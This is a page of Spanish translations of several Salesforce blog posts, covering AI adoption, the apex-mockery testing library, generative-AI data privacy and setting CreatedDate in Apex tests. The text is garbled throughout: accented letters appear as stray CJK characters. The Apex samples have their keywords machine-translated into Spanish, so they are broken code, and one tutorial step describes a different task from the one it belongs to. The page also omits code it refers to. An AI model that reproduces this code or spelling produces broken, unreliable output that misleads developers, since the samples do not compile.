3 pasos para la adopci贸n estrat茅gica de IA

En el mundo empresarial actual, que cambia r谩pidamente, la IA tiene el potencial de transformar las industrias y desbloquear oportunidades sin precedentes. Sin embargo, muchos l铆deres de la industria no est谩n seguros de c贸mo adoptar esta adopci贸n dentro de sus organizaciones. Se preguntan si reemplazar谩 las capacidades humanas o agregar谩 complejidad sin brindar beneficios tangibles.

Imagine las posibilidades de una adopci贸n estrat茅gica de IA. Un asombroso 79% de las empresas ya han experimentado una reducci贸n significativa de costos a trav茅s de la implementaci贸n. Pero, sin una estrategia bien definida adaptada a sus necesidades 煤nicas, las empresas corren el riesgo de perderse los beneficios de estas herramientas transformadoras.

Comience con AI Cloud

Los servicios profesionales de Salesforce pueden ayudarlo a establecer la base adecuada para el 茅xito con nuestro nuevo paquete, AI Coach.

驴Est谩 listo para navegar por el complejo mundo de la IA y aprender c贸mo puede integrarse en su negocio? Profundicemos y descubramos tres pasos pr谩cticos para la adopci贸n e implementaci贸n exitosas de IA , y la importancia de usar esta tecnolog铆a de una manera en la que pueda confiar con AI Cloud .

1. Eval煤e su preparaci贸n para la adopci贸n de IA

Una de las preguntas que suelen hacer los clientes cuando se embarcan en su viaje de IA es: "驴Por d贸nde empiezo?" Con el gran potencial de la tecnolog铆a de IA generativa , los l铆deres de la industria pueden sentirse abrumados o inseguros sobre cu谩l es el mejor camino a seguir. Para navegar este mar de posibilidades, es crucial hacer las preguntas correctas y evaluar la preparaci贸n de su organizaci贸n para adoptar la IA.

  • Identifique el valor empresarial : analice sus procesos, las interacciones con los clientes y los activos de datos para identificar las 谩reas en las que la IA puede crear el mayor valor. Podr谩 concentrar sus esfuerzos en 谩reas de alto impacto que ofrecen retornos 贸ptimos.
  • Visualice c贸mo aprovechar el poder de la IA : Considere c贸mo la IA puede potenciar los objetivos de su empresa. Explore casos de uso, aplicaciones y resultados deseados espec铆ficos para crear una visi贸n convincente.
  • Eval煤e su preparaci贸n : luego, confirme que su organizaci贸n est谩 lista para adoptar la IA. Analice su infraestructura tecnol贸gica, capacidades de datos y habilidades de la fuerza laboral para identificar brechas y 谩reas de mejora. Determine si tiene los recursos, la experiencia y los sistemas de soporte necesarios para implementar y administrar estas soluciones.

Al tomarse el tiempo para evaluar la preparaci贸n, puede abordar las barreras comunes para una adopci贸n exitosa de la IA. Este proceso le permite tomar decisiones informadas, dividir recursos y desarrollar una hoja de ruta realista.

2. Cree una prueba de tecnolog铆a

Para garantizar una integraci贸n exitosa de la IA en su organizaci贸n, debe desarrollar un plan pr谩ctico que aborde las preguntas comerciales clave . Un componente crucial de este plan es crear una prueba de tecnolog铆a , que determina si la soluci贸n o tecnolog铆a propuesta se integrar谩 en su entorno existente y, por lo tanto, demostrar谩 compatibilidad.

Hay varios pasos importantes para ayudarlo a evaluar la viabilidad, demostrar las capacidades del producto y validar la relevancia de los casos de uso. Al seguir estos pasos, puede posicionar a su equipo para el 茅xito y obtener el apoyo de las partes interesadas para la adopci贸n de IA.

  • Identifique casos de uso : perfeccione los casos de uso de IA mediante la recopilaci贸n de informaci贸n de toda su organizaci贸n. Conc茅ntrese en las 谩reas donde la IA puede tener el mayor impacto y alinee sus iniciativas con los objetivos de la empresa.
  • Implemente la prueba de tecnolog铆a de AI Cloud : eval煤e la viabilidad implementando herramientas de IA en un entorno controlado. Pruebe el rendimiento, la escalabilidad y la integraci贸n con los sistemas existentes para abordar cualquier problema desde el principio y garantizar una transici贸n sin problemas.
  • Demuestre las capacidades del producto : Muestre la transformaci贸n potencial a trav茅s de escenarios de pr谩ctica o proyectos piloto. Obtenga la aceptaci贸n y el apoyo de las partes interesadas al ilustrar c贸mo la IA aborda desaf铆os espec铆ficos y brinda los resultados deseados.
  • Valide el valor comercial : antes de la implementaci贸n, confirme la relevancia de sus casos de uso. Pruebe los beneficios no realizados, como mejoras en la eficiencia, mejores experiencias de los clientes y una mejor toma de decisiones, asegur谩ndose de que sus iniciativas de IA se alineen con sus objetivos comerciales.

Al crear una prueba integral de la tecnolog铆a, sienta las bases para una adopci贸n exitosa de la IA. Esta ser谩 su hoja de ruta para navegar por los posibles desaf铆os y aprovechar al m谩ximo las oportunidades futuras.

Impulse la transformaci贸n continua con
La Oficina de Innovaci贸n Continua

Los servicios profesionales de Salesforce pueden ayudarlo a elevar sus capacidades para obtener el m谩ximo valor de su inversi贸n en Salesforce.

3. Transformar la visi贸n en acci贸n

Si bien la planificaci贸n es esencial, es crucial conectar los puntos entre la visi贸n y la ejecuci贸n. As铆 es como puede transformar su plan bien elaborado en una realidad, superando futuros escollos en el camino:

  • Involucrar a diversas partes interesadas : involucrar una variedad de perspectivas e intereses a trav茅s de una colaboraci贸n inclusiva. Busque aportes de empleados, clientes y socios para dar forma a la estrategia de implementaci贸n.
  • Promueva la transparencia : mantenga su plan visible, claro y actualizado. Comparta el progreso y los hitos para fomentar la confianza, la propiedad colectiva y la responsabilidad.
  • Adopte una mentalidad de aprendizaje : mant茅ngase abierto a nuevos conocimientos y perfeccione su plan a medida que avanza.
  • Tome decisiones informadas m谩s f谩cilmente : proporcione estrategias pr谩cticas y una visi贸n clara para garantizar que sus elecciones est茅n alineadas con los resultados deseados.
  • Capacite a su gente : reconozca que el poder de la IA radica en las capacidades colectivas de su fuerza laboral. Aproveche sus conocimientos, habilidades y creatividad para desbloquear todo el potencial de la IA e impulsar un cambio significativo.

Recuerde que el verdadero poder de la IA no radica en la tecnolog铆a en s铆, sino en su gente. Al seguir estas pautas, puede cerrar la brecha entre la visi贸n y la acci贸n, transformando las aspiraciones de su organizaci贸n en resultados concretos.

Aproveche las oportunidades que se avecinan

Abraza el futuro con confianza. Descubra el poder transformador de la IA con AI Coach de Salesforce Professional Services . Nuestro equipo de expertos lo ayudar谩 a evaluar la preparaci贸n para la IA de su organizaci贸n. Desde la adopci贸n de IA hasta la implementaci贸n de pruebas de tecnolog铆a que demuestren el valor comercial y la planificaci贸n estrat茅gica de c贸mo puede establecer la base adecuada para el 茅xito a largo plazo con la Fase 0.

Juntos, navegaremos las complejidades de la implementaci贸n de IA. Al mismo tiempo, nos aseguraremos de que sus iniciativas funcionen hacia sus objetivos comerciales. D茅 el primer paso para liberar todo el potencial de la IA en su organizaci贸n. P贸ngase en contacto con los servicios profesionales de Salesforce hoy mismo.

Continue reading

Presentamos apex-mockery, una biblioteca de simulaci贸n de pruebas unitarias 鈽侊笍

Presentamos apex-mockery, una biblioteca de simulaci贸n de pruebas unitarias 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos apex-mockery, una biblioteca de simulaci贸n de pruebas unitarias | Blog de desarrolladores de Salesforce

Escribir pruebas s贸lidas es crucial para crear aplicaciones comerciales confiables y eficientes. En esta publicaci贸n, haremos un repaso de las pruebas unitarias y presentaremos apex-mockery , una biblioteca liviana de pruebas unitarias de Apex que lo ayuda a escribir pruebas unitarias de Apex verdaderamente desacopladas usando simulacros y aserciones. Compartiremos ejemplos de c贸digo para ayudarlo a comprender c贸mo puede usar la biblioteca para crear pruebas unitarias f谩ciles de entender y de ejecuci贸n r谩pida.

Un repaso a las pruebas unitarias

Antes de echar un vistazo a la biblioteca de Apex-Mockery, demos un paso atr谩s y analicemos algunos de los conceptos b谩sicos de las pruebas unitarias desde un punto de vista independiente de la tecnolog铆a. Luego, veremos Apex y discutiremos por qu茅 la mayor铆a de nosotros deber铆a escribir pruebas unitarias en lugar de pruebas de integraci贸n.

Las pruebas unitarias est谩n en la base de la pir谩mide de prueba.

La ingenier铆a de software abarca m煤ltiples tipos de pruebas: unidad, integraci贸n, servicio, interfaz de usuario funcional, de extremo a extremo, aceptaci贸n del usuario y m谩s. Como dice Martin Fowler , podemos representar un buen equilibrio entre estos tipos de pruebas dentro del alcance de un proyecto represent谩ndolos como una pir谩mide.

Las etiquetas (tipos de prueba) pueden cambiar, pero el principio clave aqu铆 es que las pruebas que se ejecutan r谩pido y con frecuencia deben estar en la parte inferior de la pir谩mide. Estos son los m谩s f谩ciles de implementar y mantener (por lo que cuestan menos). Luego, a medida que subimos a la cima, aumentamos la complejidad y el costo: las pruebas se ejecutan m谩s lentamente y se vuelven m谩s dif铆ciles de implementar y mantener.

En el contexto de esta publicaci贸n y en aras de la brevedad, nos centraremos 煤nicamente en las pruebas unitarias. Estos son los primeros que debe implementar en cualquier proyecto, y deben ser una prioridad en su estrategia de prueba.

Por definici贸n, las pruebas unitarias est谩n destinadas a probar la menor cantidad de c贸digo (una unidad) de un proyecto. Las pruebas unitarias solo deben basarse en la l贸gica pura y estar completamente desvinculadas de sus dependencias (otras clases) y l铆mites (otros servicios, como almacenamiento de datos o servicios web). Las pruebas unitarias deben ejecutarse r谩pido; no requieren una configuraci贸n de prueba particular, como la inserci贸n de datos en la base de datos, y requieren que simule las dependencias de la clase bajo prueba.

Escribir pruebas unitarias de Apex en lugar de pruebas de integraci贸n

Apex se beneficia de una estrecha integraci贸n con la Plataforma de Salesforce y, si bien esta caracter铆stica es excelente para cosas como acceder r谩pida y f谩cilmente a la base de datos, difumina las l铆neas de separaci贸n de preocupaciones entre la l贸gica y los servicios. Como consecuencia, es muy f谩cil escribir pruebas de integraci贸n de Apex en lugar de pruebas unitarias. Por ejemplo, el c贸digo de Apex a menudo se prueba junto con la base de datos utilizando declaraciones @TestSetup y DML. Si bien estas pruebas de integraci贸n ayudan a lograr la cobertura, se basan en la base de datos y, por lo tanto, requieren m谩s tiempo para ejecutarse que las pruebas unitarias "puras".

Como comparti贸 Mitch Spano en su presentaci贸n de pruebas unitarias puras de Apex , la mayor铆a de las veces, no es necesario confiar en las pruebas de integraci贸n para probar capas de software de alto nivel, como controladores LWC, servicios y capas de aplicaci贸n. Gracias a la API de Stub de Apex lanzada en Spring '17, los desarrolladores pueden romper con esas dependencias en el contexto de las pruebas mediante la creaci贸n de su propia biblioteca/marco de pruebas unitarias o el uso de uno existente como apex-mockery.

Presentamos la burla del 谩pice

Como parte del trabajo de ingenier铆a de Salesforce, est谩bamos desarrollando un paquete administrado internamente y necesit谩bamos una biblioteca para escribir pruebas unitarias. Quer铆amos escribir pasos simples de "arreglar" (como en el patr贸n Arrange-Act-Assert ), escribir afirmaciones comprensibles y burlarnos de nuestras dependencias. Buscamos en todo el ecosistema una biblioteca f谩cil de leer y bien probada que pudi茅ramos usar para crear nuestro producto, pero no encontramos una combinaci贸n perfecta, por lo que decidimos escribir la nuestra. Est谩bamos tan contentos con la implementaci贸n final de la biblioteca que decidimos lanzarla como c贸digo abierto con el nombre apex-mockery .

La biblioteca apex-mockery proporciona una biblioteca de simulaci贸n simple, liviana y f谩cil de leer para Apex creada con la API Stub. La biblioteca est谩 dise帽ada para que sea f谩cil de usar y brinde la mejor experiencia de desarrollador posible al generar simulacros y ap茅ndices, configurar esp铆as y escribir aserciones.

Lo guiaremos a trav茅s de un escenario de muestra para que pueda comprender el poder de la biblioteca con algunos ejemplos pr谩cticos. Luego, le mostraremos c贸mo puede escribir pruebas para este proyecto de muestra en tres pasos:

  1. Crear simulacros y esp铆as de m茅todos.
  2. M茅todos de espionaje de trozo
  3. escribir afirmaciones

Ejemplo de escenario: pedidos de panader铆a y entrega

Considere el siguiente escenario de ejemplo: una panader铆a toma pedidos de pasteler铆a y planifica las entregas utilizando un servicio dedicado. Los 煤nicos datos que estamos considerando en el contexto de este escenario son los nombres de los pasteles y su fecha de entrega.

A continuaci贸n se muestra la implementaci贸n b谩sica de nuestro escenario de panader铆a (el c贸digo completo est谩 disponible en el repositorio del proyecto ).

Pasteler铆a.cls

DeliveryService.cls

DeliveryServiceImpl.cls

Confirmaci贸n de pedido.cls

Panader铆a.cls

Ahora que hemos echado un vistazo a nuestro proyecto de muestra, echemos un vistazo a c贸mo podr铆amos escribir pruebas para el m茅todo Bakery.order .

Paso 1: crea simulacros y esp铆as de m茅todos

Para funcionar, la clase Bakery necesita que se pase una instancia DeliveryService en su constructor. En un contexto de producci贸n, el servicio se proporciona con una instancia concreta DeliveryServiceImpl de la siguiente manera:

Sin embargo, en el contexto de las pruebas unitarias, no debe usar una instancia de servicio real para garantizar el desacoplamiento. En otras palabras, DelivertServiceImpl se probar谩 unitariamente por s铆 solo, por lo que no es necesario que pruebe las dos clases integradas juntas. Puede reemplazar la dependencia del servicio con un simulacro que implemente la interfaz DeliverService .

As铆 es como puede crear e inyectar f谩cilmente un simulacro de este tipo, gracias a apex-mockery:

Luego, su prueba necesita un esp铆a, para que pueda controlar el comportamiento del m茅todo planDelivery y ejecutar aserciones en sus llamadas.

Ahora que tiene un servicio simulado y un esp铆a en su m茅todo planDelivery , veamos c贸mo puede configurar su esp铆a y ejecutar aserciones en 茅l.

Paso 2: m茅todos de espionaje de trozo

Una vez que tenga una instancia simulada, puede controlar c贸mo se comportan sus m茅todos controlando sus valores de retorno y lanzando excepciones.

Utilice los m茅todos returns y throwsException para especificar un comportamiento predeterminado que se aplica a todas las llamadas a los m茅todos auxiliares. Luego, si es necesario, usa una combinaci贸n de whenCalledWith(<args>).thenReturn y whenCalledWith(<args>).thenThrow para aplicar comportamientos espec铆ficos a las llamadas a m茅todos que coincidan con los argumentos especificados.

Durante la ejecuci贸n de la prueba, apex-mockery comienza buscando una coincidencia en la configuraci贸n proporcionada por whenCalledWith . Si no se encuentra ninguno, vuelve a la configuraci贸n predeterminada ( returns o throwException ).

Veamos algunas situaciones comunes de configuraci贸n de stubs (ver m谩s recetas ).

  • Devolver algo cada vez que se llame planDelivery
  • Lanza una excepci贸n cada vez que se llama planDelivery
  • Devuelve algo cuando se llama con un argumento espec铆fico
  • Lanza una excepci贸n cuando se llama con un argumento espec铆fico

Ahora que sabe c贸mo impulsar el comportamiento de su simulacro, puede agregar aserciones para probar su c贸digo.

Paso 3: Escribe afirmaciones

apex-mockery proporciona una API de afirmaciones fluidas. Tan pronto como comience su expectativa con Expect.that(mySpy) , tendr谩 acceso a varios m茅todos de afirmaci贸n. La biblioteca viene con una serie de afirmaciones de comportamiento f谩ciles de usar, como:

Si los comparadores de argumentos b谩sicos no son suficientes para sus necesidades, tambi茅n puede crear sus propios comparadores de argumentos personalizados .

Uniendo el ejemplo completo

Ahora que vimos los pasos individuales, terminemos y echemos un vistazo a nuestra prueba para el m茅todo Bakery.order . Observe c贸mo puede usar aserciones de burla de Apex, junto con las aserciones est谩ndar de Apex de la clase system.Assert , en sus pruebas.

palabras de cierre

Esto concluye nuestro recorrido por las pruebas unitarias y la biblioteca de Apex-Mockery. Aprendi贸 c贸mo las pruebas unitarias desacopladas son m谩s f谩ciles de escribir y ejecutar mucho m谩s r谩pido. Tener pruebas r谩pidas acorta el ciclo de retroalimentaci贸n del ciclo de vida del desarrollo, reduce la duraci贸n de la ejecuci贸n del flujo de trabajo de CI y acelera las implementaciones. Estos factores permiten a los desarrolladores implementar y ejecutar pruebas con frecuencia, mejorando as铆 la calidad.

apex-mockery lo ayuda a dirigir su proyecto en esta direcci贸n. Consulte el repositorio del proyecto para comenzar. Encontrar谩 la documentaci贸n de la biblioteca con las opciones de instrucciones de instalaci贸n (instalaci贸n de fuente o paquete desbloqueado), algunas recetas de muestra y una gu铆a de migraci贸n. 隆Feliz prueba unitaria!

Sobre los autores

Ludovic Meurillon es ingeniero de software en el equipo de Service Cloud en Grenoble, Francia. Empuj贸 el c贸digo a la producci贸n durante a帽os, disfruta eliminando m谩s l铆neas de c贸digo de las que agrega y prefiere la programaci贸n en pares sobre las revisiones de c贸digo y los productos de trabajo sobre el dise帽o perfecto. S铆galo en Twitter @LudoMeurillon o consulte sus proyectos de GitHub @ludomeurillon .

S茅bastien Colladon es CTA e ingeniero de software en el equipo de Service Cloud en Par铆s, Francia. Le encanta contribuir a hacer del ecosistema de Salesforce un lugar mejor y disfruta aprender y trabajar con otros. Consulte sus proyectos de GitHub @ scolladon .

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

5 pasos para la IA generativa confiable para desarrolladores de Salesforce 鈽侊笍

5 pasos para la IA generativa confiable para desarrolladores de Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

5 pasos para la IA generativa confiable para desarrolladores de Salesforce | Blog de desarrolladores de Salesforce

La IA generativa se ha convertido en el factor de cambio para las empresas innovadoras y orientadas al cliente. Impulsada por algoritmos avanzados y aprendizaje autom谩tico, la IA generativa puede impulsar la innovaci贸n, optimizar los procesos y acelerar las empresas en todas partes al proporcionar experiencias y soluciones personalizadas adaptadas a las necesidades 煤nicas de los clientes.

Igualmente importante para las experiencias poderosas dirigidas por el cliente es la protecci贸n de los datos cr铆ticos para el negocio. Los sistemas de IA procesan y generan contenido basado en grandes conjuntos de datos y, lamentablemente, los modelos de lenguaje extenso (LLM) no est谩n poniendo su negocio en primer lugar. Mientras se prepara para implementar capacidades de IA generativa, es fundamental priorizar la privacidad de los datos. Al implementar medidas s贸lidas de protecci贸n de datos, no solo mantiene el cumplimiento de las regulaciones pertinentes, sino que tambi茅n mantiene la confianza del cliente, su activo m谩s valioso.

Con los cinco pasos que se describen a continuaci贸n, puede innovar r谩pidamente, aumentar la productividad y mejorar las experiencias personalizadas, al mismo tiempo que garantiza la seguridad y la privacidad de los datos de sus clientes.

Paso 1: comprender y auditar sus datos

Para asegurarse de tener las protecciones de seguridad, privacidad y gobernanza correctas, querr谩 comprender qu茅 datos usar谩 para crear avisos, plantillas y modelos de capacitaci贸n. Comprender los datos a los que permite que accedan los modelos de IA ayudar谩 a evitar que se compartan inadvertidamente los datos personales o confidenciales de los clientes.

Entonces, 驴c贸mo empezar? Primero, anonimice y agregue los datos de los clientes antes de usarlos con fines de IA generativa. Elimine la informaci贸n de identificaci贸n personal (PII) y cualquier otro dato confidencial que pueda identificar a las personas.

Una manera f谩cil de hacer esto en Salesforce es usar Data Detect , un producto que le permite revisar objetos y campos antes de permitir que los procesos de IA accedan a ellos para recibir indicaciones y capacitaci贸n. Una vez que los datos se han escaneado a trav茅s de Data Detect, puede confirmar que no hay sorpresas en esos datos, como n煤meros de tarjetas de cr茅dito o direcciones de correo electr贸nico en campos donde ese tipo de datos no deber铆a existir.

Data Detect tambi茅n puede ayudar a recomendar un nivel de clasificaci贸n, como "Confidencial" o "PII" para datos personales, y proporcionar detalles sobre el contenido de un objeto, as铆 como encontrar datos confidenciales generados por chatbots, casos y transcripciones de llamadas registradas autom谩ticamente. por IA.

Paso 2: configure la protecci贸n de la privacidad de los datos para sus procesos generativos de IA

Respetar la privacidad del cliente y proteger los datos a lo largo de sus procesos de IA es crucial para establecer y mantener la confianza. A medida que conf铆a m谩s en la IA para comprender y tomar decisiones a partir de sus datos, 驴c贸mo protege tambi茅n esos datos, especialmente la PII?

Para los procesos de IA que usan datos personales, como aumentar los registros de contacto u orquestar ofertas de marketing din谩micas 1:1, querr谩 desarrollar pol铆ticas de uso de datos claras y transparentes que describan c贸mo se manejar谩n los datos de los clientes, incluido su uso en sistemas de IA generativos. . Comunique estas pol铆ticas a sus clientes y br铆ndeles la oportunidad de optar por no participar o elegir el nivel adecuado de uso de datos. Adem谩s, cree una pol铆tica para eliminar y ofuscar los datos que ya no son 煤tiles o relevantes, para que sus clientes permanezcan protegidos y sus procesos de IA generativa permanezcan precisos.

Centro de privacidad puede ayudar a verificar que sus procesos de IA est茅n autorizados para su uso en capacitaci贸n y avisos. El Centro de privacidad tambi茅n puede ayudarlo a crear pol铆ticas de retenci贸n para administrar el ciclo de vida de los datos utilizados y generados por la IA, incluidas las transcripciones de llamadas, los chatbots y los casos registrados autom谩ticamente por la IA.

Paso 3: configure su organizaci贸n para administrar la IA generativa

Tanto para proteger los datos utilizados en los procesos de IA como para confirmar que sus integraciones se mantienen dentro de los l铆mites de los datos que desea utilizar, deber谩 implementar controles para proteger los datos de los clientes frente a accesos no autorizados o infracciones.

Los controles de acceso le permiten restringir el acceso a los datos del cliente solo al personal autorizado. Al otorgar acceso seg煤n sea necesario, reduce el riesgo de que los modelos de IA y las personas no autorizadas accedan a datos confidenciales. Esto protege contra el posible uso indebido de esos datos al tiempo que garantiza la privacidad del cliente.

Security Center puede ayudarlo a administrar de manera centralizada los permisos de usuario y las configuraciones de la organizaci贸n para los datos que se usan y se obtienen de los procesos de IA.

Ahora prepar茅monos para implementar la IA de manera segura en toda su organizaci贸n.

Paso 4: pruebe sus procesos para la implementaci贸n

Las pruebas en un entorno de espacio aislado son primordiales cuando se trata de IA generativa. Esto tiene dos prop贸sitos fundamentales: probar los procesos de IA y capacitar a los empleados sobre el uso seguro y responsable de la IA generativa. Al realizar pruebas exhaustivas en un entorno de espacio aislado controlado, las organizaciones pueden evaluar y refinar el rendimiento y el comportamiento de sus modelos generativos de IA antes de implementarlos en escenarios del mundo real. Las pruebas permiten la identificaci贸n y mitigaci贸n de posibles problemas, como sesgos, errores o consecuencias no deseadas que pueden surgir durante un proceso de IA generativa.

Adem谩s, un entorno de sandbox proporciona un espacio seguro para que los empleados adquieran experiencia pr谩ctica y capacitaci贸n en el uso de herramientas y sistemas de IA generativa. Les permite explorar capacidades e identificar consideraciones 茅ticas mientras toman decisiones informadas al usar la tecnolog铆a de manera responsable en sus operaciones diarias. Al aprovechar las pruebas de sandbox, las organizaciones pueden garantizar la confiabilidad, la eficacia y la aplicaci贸n 茅tica de la IA generativa al tiempo que capacitan a su fuerza laboral para adoptar y utilizar esta tecnolog铆a transformadora con confianza.

Aseg煤rese de que, cuando utilice un espacio aislado para el entrenamiento de IA, haya eliminado todos los datos personales para crear sus indicaciones o entrenar un modelo de IA; puede eliminar u ofuscar f谩cilmente cualquier dato que no deba incluirse con Data Mask .

Paso 5: Supervise y proteja sus procesos de IA

Garantizar que la integraci贸n de IA no acceda a los datos ni modifique los sistemas m谩s all谩 del alcance previsto es crucial para mantener la seguridad de los datos y la integridad del sistema. Como describimos anteriormente, los controles de acceso y los permisos de los usuarios deben definirse cuidadosamente, otorgando a los sistemas de IA solo los privilegios necesarios y limitando su acceso a fuentes o sistemas de datos espec铆ficos. Adem谩s, se deben realizar pruebas y validaciones exhaustivas de la integraci贸n de la IA para verificar que funcione seg煤n lo previsto y que no tenga consecuencias ni vulnerabilidades no deseadas.

Finalmente, implementar mecanismos de monitoreo robustos puede ayudar a detectar y alertar cualquier intento de acceso no autorizado o comportamiento anormal por parte del sistema de IA. Las auditor铆as y revisiones peri贸dicas de los procesos de integraci贸n de IA y los registros de acceso pueden ayudar a identificar cualquier desviaci贸n o posibles riesgos de seguridad.

Event Monitoring ayuda a que el proceso de monitoreo y detecci贸n sea m谩s f谩cil al permitir la configuraci贸n de capacidades, como la seguridad de transacciones, para enviar alertas o bloquear acciones m谩s all谩 de lo que se pretend铆a inicialmente para su proceso de IA.

Finalmente, a medida que se adentra m谩s en su viaje de IA, es fundamental que sus datos est茅n respaldados y puedan restaurarse hasta el nivel de registro en el caso poco probable de que los datos utilizados y aumentados por IA est茅n mal configurados o sincronizados incorrectamente. Haga una copia de seguridad de sus datos para ver cada versi贸n de los registros utilizados y tocados por AI, y restaure cualquier error.

Conclusi贸n

Al adoptar un enfoque que prioriza la privacidad e implementar medidas s贸lidas de protecci贸n de datos, puede crear una base confiable para pr谩cticas de IA generativas responsables, sostenibles y 茅ticas, todo mientras impulsa una innovaci贸n m谩s eficiente y efectiva e interacciones m谩s personalizadas con los clientes. Para obtener m谩s informaci贸n sobre c贸mo comenzar con la IA generativa, consulte nuestra Gu铆a de introducci贸n a la IA.

Recursos

Sobre el Autor

Marla Hay Vicepresidenta de Seguridad, Privacidad y Gesti贸n de Datos en Salesforce y dirige la organizaci贸n de productos de Servicios de confianza. Se uni贸 a Salesforce en 2017 despu茅s de liderar productos en una empresa de gesti贸n de identidad de consumidores. Marla tiene una licenciatura en Ciencias de la Computaci贸n de la Universidad de Cornell y una maestr铆a en Ciencias de la Computaci贸n de la Universidad Johns Hopkins.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Establecer fecha de creaci贸n para sObject de clase de prueba en Apex

Establecer fecha de creaci贸n para sObject de clase de prueba en Apex

脷ltima actualizaci贸n el 5 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se puede establecer la Fecha de creaci贸n para un sObject dentro de un contexto de prueba?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Obtenga una comprensi贸n integral del m茅todo setCreatedDate relacionado con las pruebas de Apex
  • Establecer la fecha de creaci贸n para el registro de la clase de prueba
  • y mucho m谩s

馃憠 En el pasado escrib铆 algunos art铆culos sobre Apex . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Calcular la cobertura general del c贸digo en Salesforce
  2. Comprobar si una cadena es nula, vac铆a o en blanco en Apex

Ben Halpern es un desarrollador Jr. de Salesforce en Gurukul On Cloud (GoC) . Cre贸 un disparador de Apex para el objeto Lead.


desencadenar LeadTrigger en Lead (antes de la actualizaci贸n) { if(Desencadenador.esAntes){ si (Desencadenador.Isupdate){ para (Lead myLead:trigger.new){ if(myLead.LeadSource==null && myLead.createddate== Fecha.hoy().addDays(-1)){ //hacer algo } } } }
}

Sabe c贸mo escribir la clase de prueba para el c贸digo anterior. Necesita ayuda para crear un registro con una fecha pasada dentro de la clase de prueba.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Para establecer la fecha de creaci贸n de un sObject en una clase de prueba de Apex, puede utilizar el m茅todo Test.setCreatedDate(recordId, createdDatetime) . Esto le permite especificar una fecha y hora deseadas para el campo Fecha de creaci贸n del registro de sObject dentro de la clase de prueba.

A continuaci贸n se muestran detalles sobre los par谩metros setCreatedDate .

Nombre de los par谩metros
Detalles
ID de registro Representa el ID de un sObject.
Fecha y hora de creaci贸n Representa el valor para asignar al campo Fecha de creaci贸n del sObject.

Adem谩s, es importante tener en cuenta que el m茅todo setCreatedDate no se puede utilizar dentro de los m茅todos anotados con @isTest(SeeAllData=true). Hagamos una pausa aqu铆, familiar铆cese con el m茅todo de prueba s etCreatedDate Apex.

Pr谩ctica guiada (nosotros hacemos):

Con estos m茅todos, puede determinar de forma eficaz si un campo de texto es nulo, est谩 vac铆o o est谩 en blanco en Apex. Veamos esto en acci贸n:

  1. Haga clic en Configuraci贸n | Consola de desarrollador .  
  2. Para crear una clase de prueba de Apex, haga clic en Archivo | Nuevo | Clase 谩pice.
     @esPrueba clase privada LeadTrigger_Test { static testMethod void testSetCreatedDate() { Lead l = new Lead(LastName='myLastname', Company='myCompany'); insertar l; Test.setCreatedDate(l.Id, Date.today().addDays(-1)); Prueba.startTest(); Lead myLead = [SELECCIONE Id, Nombre, Apellido, Empresa, Fecha de creaci贸n FROM Lead WHERE Apellido ='miApellido' l铆mite 1]; myLead.FirstName = 'myFirstname'; actualizar myLead;
    System.assertEquals(myLead.CreatedDate, Date.today().addDays(-1)); Prueba.detenerPrueba(); }
    }
Continue reading

Herramientas para desarrolladores desde cero (Parte 1 de 2) 鈽侊笍

Herramientas para desarrolladores desde cero (Parte 1 de 2) 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Herramientas para desarrolladores desde cero (Parte 1 de 2) | Blog de desarrolladores de Salesforce

Tanto si es un nuevo desarrollador que acaba de empezar su carrera en el ecosistema de Salesforce como si es un desarrollador experimentado de Salesforce que a煤n no se ha cambiado a nuestras nuevas herramientas para desarrolladores, esta serie de publicaciones de blog es para usted. Le mostraremos c贸mo configurar y utilizar las herramientas que pueden ayudar a todos los desarrolladores de Salesforce a ser mucho m谩s productivos y felices.

Antes de que empieces

Si es nuevo en Salesforce y no tiene una organizaci贸n (instancia de Salesforce) disponible para practicar, reg铆strese en una organizaci贸n Developer Edition . Es completamente gratis y tiene la mayor铆a de las funciones de Salesforce preinstaladas para que pruebe y aprenda. Deber谩 proporcionar un nombre de usuario en forma de direcci贸n de correo electr贸nico, pero no es necesario que sea uno real. Es solo un nombre de usuario que debe ser 煤nico en todos los productos de Salesforce. Despu茅s de solicitar una organizaci贸n, recibir谩 un correo electr贸nico con los pasos para iniciar sesi贸n. Tome nota del nombre de usuario de la organizaci贸n que proporcion贸, ya que tendr谩 que usarlo m谩s adelante.

Si es un desarrollador de Salesforce establecido y un usuario de Developer Console, este es el momento adecuado para adoptar las nuevas herramientas de desarrollador. Si bien Developer Console puede ser una forma r谩pida de cambiar algunas l铆neas de c贸digo, usar las herramientas m谩s modernas cambiar谩 las reglas del juego, ya que incluyen un mont贸n de capacidades que simplificar谩n su trabajo. Usar las nuevas herramientas requiere un cambio de h谩bitos al principio, pero te prometo que muy pronto entender谩s sus beneficios. Adem谩s, tenga en cuenta que ya no estamos invirtiendo en Developer Console, y problemas como la falta de soporte para Lightning Web Components son algo que no abordaremos.

Instalaci贸n de las herramientas de desarrollador

